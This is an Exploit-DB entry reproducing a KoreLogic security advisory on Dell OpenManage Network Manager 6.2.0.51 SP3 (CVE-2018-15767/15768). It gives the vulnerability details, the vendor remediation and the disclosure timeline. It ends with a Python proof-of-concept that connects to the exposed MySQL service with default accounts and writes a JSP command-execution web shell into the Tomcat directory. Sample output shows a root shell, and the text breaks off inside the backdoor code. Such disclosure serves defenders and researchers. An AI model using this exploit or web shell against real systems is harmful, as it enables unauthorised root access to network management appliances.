Exploit-DB #45852
Description: Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities
Type: webapps
Platform: linux
Date: 2018-11-14
Author: KoreLogic

Exploit:
'''
KL-001-2018-009 : Dell OpenManage Network Manager Multiple Vulnerabilities

Title: Dell OpenManage Network Manager Multiple Vulnerabilities
Advisory ID: KL-001-2018-009
Publication Date: 2018.11.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-009.txt


1. Vulnerability Details

     Affected Vendor: Dell
     Affected Product: OpenManage Network Manager
     Affected Version: 6.2.0.51 SP3
     Platform: Embedded Linux
     CWE Classification: CWE-285: Improper Authorization,
                         CWE-284: Improper Access Control
     Impact: Privilege Escalation
     Attack vector: MySQL, HTTP
     CVE ID: CVE-2018-15767, CVE-2018-15768

2. Vulnerability Description

     Dell OpenManage Network Manager exposes a MySQL listener that
     can be accessed with default credentials (CVE-2018-15768). This
     MySQL service is running as the root user, so an attacker can
     exploit this configuration to, e.g., deploy a backdoor and
     escalate privileges into the root account (CVE-2018-15767).


3. Technical Description

     The appliance binds on 3306/mysql using the 0.0.0.0 IP
     address. The default IPTables policy is ACCEPT and the
     rule table is empty. Using any of three default accounts,
     a malicious user can exploit native MySQL functionality to
     place a JSP shell into the directory of a web server on the
     file system and subsequently make calls into it.


4. Mitigation and Remediation Recommendation

     The vendor informed KoreLogic that all default passwords can
     be changed and are documented in the OpenManage Network Manager
     Installation Guide. Dell recommends all customers change these
     default passwords upon installation.

     The vendor has addressed these vulnerabilities in version
     6.5.3. Release notes and download instructions can be found at:

     https://www.dell.com/support/home/us/en/04/drivers/driversdetails?driverId=5XC0J


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2018.02.16 - KoreLogic submits vulnerability details to Dell.
     2018.02.16 - Dell acknowledges receipt.
     2018.04.02 - Dell informs KoreLogic that a rememdiation plan is in
                  place and requests approximately two months continued
                  embargo on the vulnerability details.
     2018.04.23 - 45 business days have elapsed since the vulnerability
                  was reported to Dell.
     2018.05.14 - 60 business days have elapsed since the vulnerability
                  was reported to Dell.
     2018.06.05 - 75 business days have elapsed since the vulnerability
                  was reported to Dell.
     2018.06.11 - Dell informs KoreLogic that the patched version has
                  been released and asks that the KoreLogic advisory
                  remain unpublished until 2018.06.22.
     2018.06.21 - Dell requests additional time to coordinate changes
                  to the MySQL implementation, noting that this
                  driver is provided by and upstream vendor.
     2018.07.11 - 100 business days have elapsed since the
                  vulnerability was reported to Dell.
     2018.07.16 - Dell informs KoreLogic that the remediations are
                  targeted for version 6.5.3, slated for a September
                  release.
     2018.08.08 - 120 business days have elapsed since the
                  vulnerability was reported to Dell.
     2018.09.20 - 150 business days have elapsed since the
                  vulnerability was reported to Dell.
     2018.10.03 - Dell informs KoreLogic that version 6.5.3 is
                  scheduled to be released 2018.10.08.
     2018.10.11 - Dell and KoreLogic begin mutual review of
                  disclosure statements.
     2018.11.02 - Dell issues public advisory-
                  https://www.dell.com/support/article/us/en/19/sln314610;
                  180 business days have elapsed since the
                  vulnerability was reported to Dell.
     2018.11.05 - KoreLogic Disclosure.

7. Proof of Concept
'''

     #!/usr/bin/python

     # $ python dell-openmanage-networkmanager_rce.py --host 1.3.3.7
     # Dell OpenManage NetworkManager 6.2.0.51 SP3
     # SQL backdoor remote root
     #
     # [-] Starting attack.
     # [+] Connected using root account.
     # [+] Sending malicious SQL.
     # [+] Dropping shell.
     # [-] uid=0(root) gid=0(root) groups=0(root)
     #
     # # uname -a
     # Linux synergy.domain.int 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

     from optparse import OptionParser
     from string import ascii_letters, digits
     from random import choice
     from re import compile as regex_compile
     from urllib import urlopen
     import pymysql.cursors

     banner = """Dell OpenManage NetworkManager 6.2.0.51 SP3\nSQL backdoor remote root\n"""
     accounts = ['root','owmeta','oware']
     [CREDENTIAL_REDACTED]'
     regex = regex_compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$")

     full_path = '/opt/VAroot/dell/openmanage/networkmanager/oware/synergy/tomcat-7.0.40/webapps/nvhelp/%s.jsp' % (''.join(
         [choice(digits + ascii_letters) for i in xrange(8)]))
     shell_name = full_path.split('/')[-1]

     backdoor = """<%@ page import="java.util.*,java.io.*"%>
     <%
     if (request.getParameter("cmd") != null) {
         String m = request.getParameter("cmd");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
             out.println(disr);
             disr = dis